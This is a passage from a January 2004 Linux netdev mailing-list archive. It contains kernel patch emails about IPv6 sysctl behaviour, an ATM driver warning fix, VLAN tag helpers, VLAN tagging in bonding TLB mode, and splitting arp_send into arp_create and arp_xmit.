Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From yoshfuji@linux-ipv6.org Thu Jan 22 03:02:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 03:04:04 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MB2XmK002614 for ; Thu, 22 Jan 2004 03:02:34 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 457C033CA5; Thu, 22 Jan 2004 20:03:08 +0900 (JST) Date: Thu, 22 Jan 2004 20:03:08 +0900 (JST) Message-Id: <20040122.200308.71158042.yoshfuji@linux-ipv6.org> To: vnuorval@tcs.hut.fi, davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH|RFC] IPv6: Equal behavior in addrconf_sysctl_forward() and addrconf_sysctl_forward_strategy() From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2667 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Thu, 22 Jan 2004 12:59:07 +0200 (EET)), Ville Nuorvala says: > If no, the patch below should fix this. Agreed. Please apply, David. --yoshfuji From chas@cmf.nrl.navy.mil Thu Jan 22 04:52:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 04:52:56 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MCqbmK008689 for ; Thu, 22 Jan 2004 04:52:37 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i0MCqSRr006824; Thu, 22 Jan 2004 07:52:28 -0500 (EST) Message-Id: <200401221252.i0MCqSRr006824@ginger.cmf.nrl.navy.mil> To: "David S. Miller" cc: netdev@oss.sgi.com, rddunlap@osdl.org, venza@libero.it Reply-To: chas3@users.sourceforge.net Subject: Re: [PATCH][ATM]: [horizon] avoid warning about limited range of data type In-reply-to: Your message of "Wed, 21 Jan 2004 22:15:31 PST." <20040121221531.10e4f8a2.davem@redhat.com> Date: Thu, 22 Jan 2004 07:52:29 -0500 From: chas williams (contractor) X-Spam-Score: () hits=-0.9 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 2668 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev sorry i wasnt clear about that. the same patch applies to 2.4 and 2.6 without a problem. so if you would be so kind as to patch 2.4 as well. thanks In message <20040121221531.10e4f8a2.davem@redhat.com>,"David S. Miller" writes: >On Tue, 20 Jan 2004 20:24:37 -0500 >chas williams (contractor) wrote: > >> this patch fixes the horizon driver so that it will compile >> without a warning. > >Applied, I assumed this was meant for 2.6.x only. > >Thanks. > From shmulik.hen@intel.com Thu Jan 22 07:57:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 07:57:54 -0800 (PST) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MFvZmK018814 for ; Thu, 22 Jan 2004 07:57:35 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0MFwspf007261; Thu, 22 Jan 2004 15:58:54 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0MFuoXA015465; Thu, 22 Jan 2004 15:56:54 GMT Received: from jrslxjul5.npdj.intel.com ([10.12.220.55]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012207572119994 ; Thu, 22 Jan 2004 07:57:22 -0800 From: Shmuel Hen Organization: Intel Corporation To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: [PATCH 3/6][8021q][2.4] Use VLAN tag set functionality in 8021q module Date: Thu, 22 Jan 2004 17:57:19 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401221757.21240.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2670 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Make the regular/HW accelerated xmit functions in the 8021q module use the new set VLAN tag functionality to reduce code duplication. diff -Nuarp a/net/8021q/vlan_dev.c b/net/8021q/vlan_dev.c --- a/net/8021q/vlan_dev.c Wed Jan 21 16:55:02 2004 +++ b/net/8021q/vlan_dev.c Wed Jan 21 16:55:04 2004 @@ -446,6 +446,7 @@ int vlan_dev_hard_start_xmit(struct sk_b */ if (veth->h_vlan_proto != __constant_htons(ETH_P_8021Q)) { + int orig_headroom = skb_headroom(skb); unsigned short veth_TCI; /* This is not a VLAN frame...but we can fix that! */ @@ -455,33 +456,7 @@ int vlan_dev_hard_start_xmit(struct sk_b printk(VLAN_DBG "%s: proto to encap: 0x%hx (hbo)\n", __FUNCTION__, htons(veth->h_vlan_proto)); #endif - - if (skb_headroom(skb) < VLAN_HLEN) { - struct sk_buff *sk_tmp = skb; - skb = skb_realloc_headroom(sk_tmp, VLAN_HLEN); - kfree_skb(sk_tmp); - if (skb == NULL) { - stats->tx_dropped++; - return 0; - } - VLAN_DEV_INFO(dev)->cnt_inc_headroom_on_tx++; - } else { - if (!(skb = skb_unshare(skb, GFP_ATOMIC))) { - printk(KERN_ERR "vlan: failed to unshare skbuff\n"); - stats->tx_dropped++; - return 0; - } - } - veth = (struct vlan_ethhdr *)skb_push(skb, VLAN_HLEN); - - /* Move the mac addresses to the beginning of the new header. */ - memmove(skb->data, skb->data + VLAN_HLEN, 12); - - /* first, the ethernet type */ - /* put_unaligned(__constant_htons(ETH_P_8021Q), &veth->h_vlan_proto); */ - veth->h_vlan_proto = __constant_htons(ETH_P_8021Q); - - /* Now, construct the second two bytes. This field looks something + /* Construct the second two bytes. This field looks something * like: * usr_priority: 3 bits (high bits) * CFI 1 bit @@ -490,10 +465,16 @@ int vlan_dev_hard_start_xmit(struct sk_b veth_TCI = VLAN_DEV_INFO(dev)->vlan_id; veth_TCI |= vlan_dev_get_egress_qos_mask(dev, skb); - veth->h_vlan_TCI = htons(veth_TCI); - } + skb = __vlan_put_tag(skb, veth_TCI); + if (!skb) { + stats->tx_dropped++; + return 0; + } - skb->dev = VLAN_DEV_INFO(dev)->real_dev; + if (orig_headroom < VLAN_HLEN) { + VLAN_DEV_INFO(dev)->cnt_inc_headroom_on_tx++; + } + } #ifdef VLAN_DEBUG printk(VLAN_DBG "%s: about to send skb: %p to dev: %s\n", @@ -507,6 +488,7 @@ int vlan_dev_hard_start_xmit(struct sk_b stats->tx_packets++; /* for statics only */ stats->tx_bytes += skb->len; + skb->dev = VLAN_DEV_INFO(dev)->real_dev; dev_queue_xmit(skb); return 0; @@ -515,17 +497,22 @@ int vlan_dev_hard_start_xmit(struct sk_b int vlan_dev_hwaccel_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct net_device_stats *stats = vlan_dev_get_stats(dev); - struct vlan_skb_tx_cookie *cookie; + unsigned short veth_TCI; + + /* Construct the second two bytes. This field looks something + * like: + * usr_priority: 3 bits (high bits) + * CFI 1 bit + * VLAN ID 12 bits (low bits) + */ + veth_TCI = VLAN_DEV_INFO(dev)->vlan_id; + veth_TCI |= vlan_dev_get_egress_qos_mask(dev, skb); + skb = __vlan_hwaccel_put_tag(skb, veth_TCI); stats->tx_packets++; stats->tx_bytes += skb->len; skb->dev = VLAN_DEV_INFO(dev)->real_dev; - cookie = VLAN_TX_SKB_CB(skb); - cookie->magic = VLAN_TX_COOKIE_MAGIC; - cookie->vlan_tag = (VLAN_DEV_INFO(dev)->vlan_id | - vlan_dev_get_egress_qos_mask(dev, skb)); - dev_queue_xmit(skb); return 0; From shmulik.hen@intel.com Thu Jan 22 07:56:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 07:56:28 -0800 (PST) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MFu8mK018700 for ; Thu, 22 Jan 2004 07:56:09 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0MFvNpf006532; Thu, 22 Jan 2004 15:57:23 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0MFt7XE014704; Thu, 22 Jan 2004 15:55:23 GMT Received: from jrslxjul5.npdj.intel.com ([10.12.220.55]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012207555019879 ; Thu, 22 Jan 2004 07:55:51 -0800 From: Shmuel Hen Organization: Intel Corporation To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: [bonding] Enhance support for VLAN over bonding Date: Thu, 22 Jan 2004 17:55:49 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200401221755.49600.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2669 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Hi, As previously discussed on these lists, we are offering a set of patches that enhance the support for VLAN over bonding. They are independent from the last set sent by Amir for dynamic configuration of bonding since it was not yet decided what would be the best replacement for the ioctl hook we suggested. The enhancement is in to areas: 1) Add support for slaves that are capable of VLAN hardware acceleration offloading - We have found that for Gig adapters working at line speed, this support reduces CPU usage by up to 12%. The basic idea is to make the bond interface fully HW acceleration capable, and take special care when passing an skb to a slave that is not offloading capable ("un-accelerating" the skb). 2) Add support for tagging packets that are self generated by bonding, e.g. TLB learning packets, ALB arp packets, etc. Both features required exporting VLAN tag setting/getting functionality by the 8021q module. In order to make the bonding and 8021q modules in dipendant, this support is exported via if_vlan.h as inline functions that are used by both modules to reduce code duplication. For the second feature it was also required to split the arp_send functionality into arp_create and arp_xmit. This eliminates code duplication too, and enables intermediate network drivers like bonding and others to have a chance to tag ARP packets before sending them. All other places in the kernel that use arp_send() will not notice the change. There are two sets of 6 patches each, one for 2.4 and one for 2.6. They apply on top of latest netdev-2.4 and netdev-2.6 respectively. Both have been tested for patch application and compilation. Functionality and performance was tested on netdev-2.4. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From shmulik.hen@intel.com Thu Jan 22 07:59:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 07:59:44 -0800 (PST) Received: from hermes-pilot.fm.intel.com (fmr99.intel.com [192.55.52.32]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MFx3mK019214 for ; Thu, 22 Jan 2004 07:59:03 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by hermes-pilot.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0MFuOcC026163; Thu, 22 Jan 2004 15:56:24 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0MFwKX6016178; Thu, 22 Jan 2004 15:58:21 GMT Received: from jrslxjul5.npdj.intel.com ([10.12.220.55]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012207584820134 ; Thu, 22 Jan 2004 07:58:49 -0800 From: Shmuel Hen Organization: Intel Corporation To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: [PATCH 5/6][bonding][2.4] Add VLAN support in TLB mode Date: Thu, 22 Jan 2004 17:58:46 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401221758.47815.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2671 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Add capability to tag self generated learning packets that are required to speed up port selection in the switch after a fail over in bonding since some switches will only update their MAC tables from tagged packets when VLAN support is turned on. All VLAN Id's that have been configured on top of the bond interface will be used in cyclic order. diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Wed Jan 21 16:55:10 2004 +++ b/drivers/net/bonding/bond_alb.c Wed Jan 21 16:55:12 2004 @@ -50,6 +50,7 @@ #include #include #include +#include #include #include #include @@ -79,7 +80,7 @@ #define TLB_NULL_INDEX 0xffffffff -#define MAX_LP_RETRY 3 +#define MAX_LP_BURST 3 /* rlb defs */ #define RLB_HASH_TABLE_SIZE 256 @@ -817,6 +818,7 @@ static void rlb_deinitialize(struct bond static void alb_send_learning_packets(struct slave *slave, u8 mac_addr[]) { + struct bonding *bond = bond_get_bond_by_slave(slave); struct learning_pkt pkt; int size = sizeof(struct learning_pkt); int i; @@ -826,7 +828,7 @@ static void alb_send_learning_packets(st memcpy(pkt.mac_src, mac_addr, ETH_ALEN); pkt.type = __constant_htons(ETH_P_LOOP); - for (i = 0; i < MAX_LP_RETRY; i++) { + for (i = 0; i < MAX_LP_BURST; i++) { struct sk_buff *skb; char *data; @@ -844,6 +846,26 @@ static void alb_send_learning_packets(st skb->priority = TC_PRIO_CONTROL; skb->dev = slave->dev; + if (!list_empty(&bond->vlan_list)) { + struct vlan_entry *vlan; + + vlan = bond_next_vlan(bond, + bond->alb_info.current_alb_vlan); + + bond->alb_info.current_alb_vlan = vlan; + if (!vlan) { + kfree_skb(skb); + continue; + } + + skb = vlan_put_tag(skb, vlan->vlan_id); + if (!skb) { + printk(KERN_ERR DRV_NAME + ": Error: failed to insert VLAN tag\n"); + continue; + } + } + dev_queue_xmit(skb); } } @@ -1589,3 +1611,11 @@ int bond_alb_set_mac_address(struct net_ return 0; } +void bond_alb_clear_vlan(struct bonding *bond, unsigned short vlan_id) +{ + if (bond->alb_info.current_alb_vlan && + (bond->alb_info.current_alb_vlan->vlan_id == vlan_id)) { + bond->alb_info.current_alb_vlan = NULL; + } +} + diff -Nuarp a/drivers/net/bonding/bond_alb.h b/drivers/net/bonding/bond_alb.h --- a/drivers/net/bonding/bond_alb.h Wed Jan 21 16:55:10 2004 +++ b/drivers/net/bonding/bond_alb.h Wed Jan 21 16:55:12 2004 @@ -122,6 +122,7 @@ struct alb_bond_info { * rx traffic should be * rebalanced */ + struct vlan_entry *current_alb_vlan; }; int bond_alb_initialize(struct bonding *bond, int rlb_enabled); @@ -133,6 +134,6 @@ void bond_alb_handle_active_change(struc int bond_alb_xmit(struct sk_buff *skb, struct net_device *bond_dev); void bond_alb_monitor(struct bonding *bond); int bond_alb_set_mac_address(struct net_device *bond_dev, void *addr); - +void bond_alb_clear_vlan(struct bonding *bond, unsigned short vlan_id); #endif /* __BOND_ALB_H__ */ diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Wed Jan 21 16:55:10 2004 +++ b/drivers/net/bonding/bond_main.c Wed Jan 21 16:55:12 2004 @@ -676,6 +676,11 @@ static int bond_del_vlan(struct bonding if (vlan->vlan_id == vlan_id) { list_del(&vlan->vlan_list); + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { + bond_alb_clear_vlan(bond, vlan_id); + } + dprintk("removed VLAN ID %d from bond %s\n", vlan_id, bond->dev->name); @@ -731,6 +736,42 @@ static int bond_has_challenged_slaves(st } /** + * bond_next_vlan - safely skip to the next item in the vlans list. + * @bond: the bond we're working on + * @curr: item we're advancing from + * + * Returns %NULL if list is empty, bond->next_vlan if @curr is %NULL, + * or @curr->next otherwise (even if it is @curr itself again). + * + * Caller must hold bond->lock + */ +struct vlan_entry *bond_next_vlan(struct bonding *bond, struct vlan_entry *curr) +{ + struct vlan_entry *next, *last; + + if (list_empty(&bond->vlan_list)) { + return NULL; + } + + if (!curr) { + next = list_entry(bond->vlan_list.next, + struct vlan_entry, vlan_list); + } else { + last = list_entry(bond->vlan_list.prev, + struct vlan_entry, vlan_list); + if (last == curr) { + next = list_entry(bond->vlan_list.next, + struct vlan_entry, vlan_list); + } else { + next = list_entry(curr->vlan_list.next, + struct vlan_entry, vlan_list); + } + } + + return next; +} + +/** * bond_dev_queue_xmit - Prepare skb for xmit. * * @bond: bond device that got this skb for tx. diff -Nuarp a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h --- a/drivers/net/bonding/bonding.h Wed Jan 21 16:55:10 2004 +++ b/drivers/net/bonding/bonding.h Wed Jan 21 16:55:12 2004 @@ -245,6 +245,7 @@ extern inline void bond_set_slave_active slave->dev->flags &= ~IFF_NOARP; } +struct vlan_entry *bond_next_vlan(struct bonding *bond, struct vlan_entry *curr); int bond_dev_queue_xmit(struct bonding *bond, struct sk_buff *skb, struct net_device *slave_dev); #endif /* _LINUX_BONDING_H */ From shmulik.hen@intel.com Thu Jan 22 07:59:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 08:00:54 -0800 (PST) Received: from hermes-pilot.fm.intel.com (fmr99.intel.com [192.55.52.32]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MFxmmK019355 for ; Thu, 22 Jan 2004 07:59:49 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by hermes-pilot.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0MFvBcC026566; Thu, 22 Jan 2004 15:57:11 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxvs040.fm.intel.com [132.233.42.124]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0MFwtXA016449; Thu, 22 Jan 2004 15:59:08 GMT Received: from jrslxjul5.npdj.intel.com ([10.12.220.55]) by fmsmsxvs040.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012207593520233 ; Thu, 22 Jan 2004 07:59:36 -0800 From: Shmuel Hen Organization: Intel Corporation To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: [PATCH 1/6][NET][2.6] split arp_send into arp_create and arp_xmit Date: Thu, 22 Jan 2004 17:59:33 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401221759.34877.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2672 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Enable intermediate network drivers like bonding to create an ARP packet and modify it to their needs before sending it, while avoiding code duplication. It does not affect any other place in the kernel that uses arp_send. diff -Nuarp a/include/net/arp.h b/include/net/arp.h --- a/include/net/arp.h Wed Jan 21 16:56:05 2004 +++ b/include/net/arp.h Wed Jan 21 16:56:07 2004 @@ -5,6 +5,8 @@ #include #include +#define HAVE_ARP_CREATE + extern struct neigh_table arp_tbl; extern void arp_init(void); @@ -19,6 +21,12 @@ extern int arp_bind_neighbour(struct dst extern int arp_mc_map(u32 addr, u8 *haddr, struct net_device *dev, int dir); extern void arp_ifdown(struct net_device *dev); +extern struct sk_buff *arp_create(int type, int ptype, u32 dest_ip, + struct net_device *dev, u32 src_ip, + unsigned char *dest_hw, unsigned char *src_hw, + unsigned char *target_hw); +extern void arp_xmit(struct sk_buff *skb); + extern struct neigh_ops arp_broken_ops; #endif /* _ARP_H */ diff -Nuarp a/net/ipv4/arp.c b/net/ipv4/arp.c --- a/net/ipv4/arp.c Wed Jan 21 16:56:05 2004 +++ b/net/ipv4/arp.c Wed Jan 21 16:56:07 2004 @@ -67,6 +67,10 @@ * now it is in net/core/neighbour.c. * Krzysztof Halasa: Added Frame Relay ARP support. * Arnaldo C. Melo : convert /proc/net/arp to seq_file + * Shmulik Hen: Split arp_send to arp_create and + * arp_xmit so intermediate drivers like + * bonding can change the skb before + * sending (e.g. insert 8021q tag). */ #include @@ -487,34 +491,26 @@ static inline int arp_fwd_proxy(struct i */ /* - * Create and send an arp packet. If (dest_hw == NULL), we create a broadcast + * Create an arp packet. If (dest_hw == NULL), we create a broadcast * message. */ - -void arp_send(int type, int ptype, u32 dest_ip, - struct net_device *dev, u32 src_ip, - unsigned char *dest_hw, unsigned char *src_hw, - unsigned char *target_hw) +struct sk_buff *arp_create(int type, int ptype, u32 dest_ip, + struct net_device *dev, u32 src_ip, + unsigned char *dest_hw, unsigned char *src_hw, + unsigned char *target_hw) { struct sk_buff *skb; struct arphdr *arp; unsigned char *arp_ptr; /* - * No arp on this interface. - */ - - if (dev->flags&IFF_NOARP) - return; - - /* * Allocate a buffer */ skb = alloc_skb(sizeof(struct arphdr)+ 2*(dev->addr_len+4) + LL_RESERVED_SPACE(dev), GFP_ATOMIC); if (skb == NULL) - return; + return NULL; skb_reserve(skb, LL_RESERVED_SPACE(dev)); skb->nh.raw = skb->data; @@ -594,12 +590,46 @@ void arp_send(int type, int ptype, u32 d arp_ptr+=dev->addr_len; memcpy(arp_ptr, &dest_ip, 4); - /* Send it off, maybe filter it using firewalling first. */ - NF_HOOK(NF_ARP, NF_ARP_OUT, skb, NULL, dev, dev_queue_xmit); - return; + return skb; out: kfree_skb(skb); + return NULL; +} + +/* + * Send an arp packet. + */ +void arp_xmit(struct sk_buff *skb) +{ + /* Send it off, maybe filter it using firewalling first. */ + NF_HOOK(NF_ARP, NF_ARP_OUT, skb, NULL, skb->dev, dev_queue_xmit); +} + +/* + * Create and send an arp packet. + */ +void arp_send(int type, int ptype, u32 dest_ip, + struct net_device *dev, u32 src_ip, + unsigned char *dest_hw, unsigned char *src_hw, + unsigned char *target_hw) +{ + struct sk_buff *skb; + + /* + * No arp on this interface. + */ + + if (dev->flags&IFF_NOARP) + return; + + skb = arp_create(type, ptype, dest_ip, dev, src_ip, + dest_hw, src_hw, target_hw); + if (skb == NULL) { + return; + } + + arp_xmit(skb); } static void parp_redo(struct sk_buff *skb) @@ -1437,6 +1467,8 @@ static int __init arp_proc_init(void) EXPORT_SYMBOL(arp_broken_ops); EXPORT_SYMBOL(arp_find); EXPORT_SYMBOL(arp_rcv); +EXPORT_SYMBOL(arp_create); +EXPORT_SYMBOL(arp_xmit); EXPORT_SYMBOL(arp_send); EXPORT_SYMBOL(arp_tbl); From shmulik.hen@intel.com Thu Jan 22 08:01:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 22 Jan 2004 08:03:27 -0800 (PST) Received: from caduceus.jf.intel.com (fmr06.intel.com [134.134.136.7]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0MG1amK019930 for ; Thu, 22 Jan 2004 08:01:40 -0800 Received: from talaria.jf.intel.com (talaria.jf.intel.com [10.7.209.7]) by caduceus.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0MG2cwe013753; Thu, 22 Jan 2004 16:02:38 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by talaria.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0MFwD2E001678; Thu, 22 Jan 2004 15:58:13 GMT Received: from jrslxjul5.npdj.intel.com ([10.12.220.55]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004012208010614531 ; Thu, 22 Jan 2004 08:01:07 -0800 From: Shmuel Hen Organization: Intel Corporation To: netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: [PATCH 5/6][bonding][2.6] Add VLAN support in TLB mode Date: Thu, 22 Jan 2004 18:01:04 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401221801.05922.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2673 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Add capability to tag self generated learning packets that are required to speed up port selection in the switch after a fail over in bonding since some switches will only update their MAC tables from tagged packets when VLAN support is turned on. All VLAN Id's that have been configured on top of the bond interface will be used in cyclic order. diff -Nuarp a/drivers/net/bonding/bond_alb.c b/drivers/net/bonding/bond_alb.c --- a/drivers/net/bonding/bond_alb.c Wed Jan 21 16:56:22 2004 +++ b/drivers/net/bonding/bond_alb.c Wed Jan 21 16:56:24 2004 @@ -50,6 +50,7 @@ #include #include #include +#include #include #include #include @@ -79,7 +80,7 @@ #define TLB_NULL_INDEX 0xffffffff -#define MAX_LP_RETRY 3 +#define MAX_LP_BURST 3 /* rlb defs */ #define RLB_HASH_TABLE_SIZE 256 @@ -816,6 +817,7 @@ static void rlb_deinitialize(struct bond static void alb_send_learning_packets(struct slave *slave, u8 mac_addr[]) { + struct bonding *bond = bond_get_bond_by_slave(slave); struct learning_pkt pkt; int size = sizeof(struct learning_pkt); int i; @@ -825,7 +827,7 @@ static void alb_send_learning_packets(st memcpy(pkt.mac_src, mac_addr, ETH_ALEN); pkt.type = __constant_htons(ETH_P_LOOP); - for (i = 0; i < MAX_LP_RETRY; i++) { + for (i = 0; i < MAX_LP_BURST; i++) { struct sk_buff *skb; char *data; @@ -843,6 +845,26 @@ static void alb_send_learning_packets(st skb->priority = TC_PRIO_CONTROL; skb->dev = slave->dev; + if (!list_empty(&bond->vlan_list)) { + struct vlan_entry *vlan; + + vlan = bond_next_vlan(bond, + bond->alb_info.current_alb_vlan); + + bond->alb_info.current_alb_vlan = vlan; + if (!vlan) { + kfree_skb(skb); + continue; + } + + skb = vlan_put_tag(skb, vlan->vlan_id); + if (!skb) { + printk(KERN_ERR DRV_NAME + ": Error: failed to insert VLAN tag\n"); + continue; + } + } + dev_queue_xmit(skb); } } @@ -1588,3 +1610,11 @@ int bond_alb_set_mac_address(struct net_ return 0; } +void bond_alb_clear_vlan(struct bonding *bond, unsigned short vlan_id) +{ + if (bond->alb_info.current_alb_vlan && + (bond->alb_info.current_alb_vlan->vlan_id == vlan_id)) { + bond->alb_info.current_alb_vlan = NULL; + } +} + diff -Nuarp a/drivers/net/bonding/bond_alb.h b/drivers/net/bonding/bond_alb.h --- a/drivers/net/bonding/bond_alb.h Wed Jan 21 16:56:22 2004 +++ b/drivers/net/bonding/bond_alb.h Wed Jan 21 16:56:24 2004 @@ -122,6 +122,7 @@ struct alb_bond_info { * rx traffic should be * rebalanced */ + struct vlan_entry *current_alb_vlan; }; int bond_alb_initialize(struct bonding *bond, int rlb_enabled); @@ -133,6 +134,6 @@ void bond_alb_handle_active_change(struc int 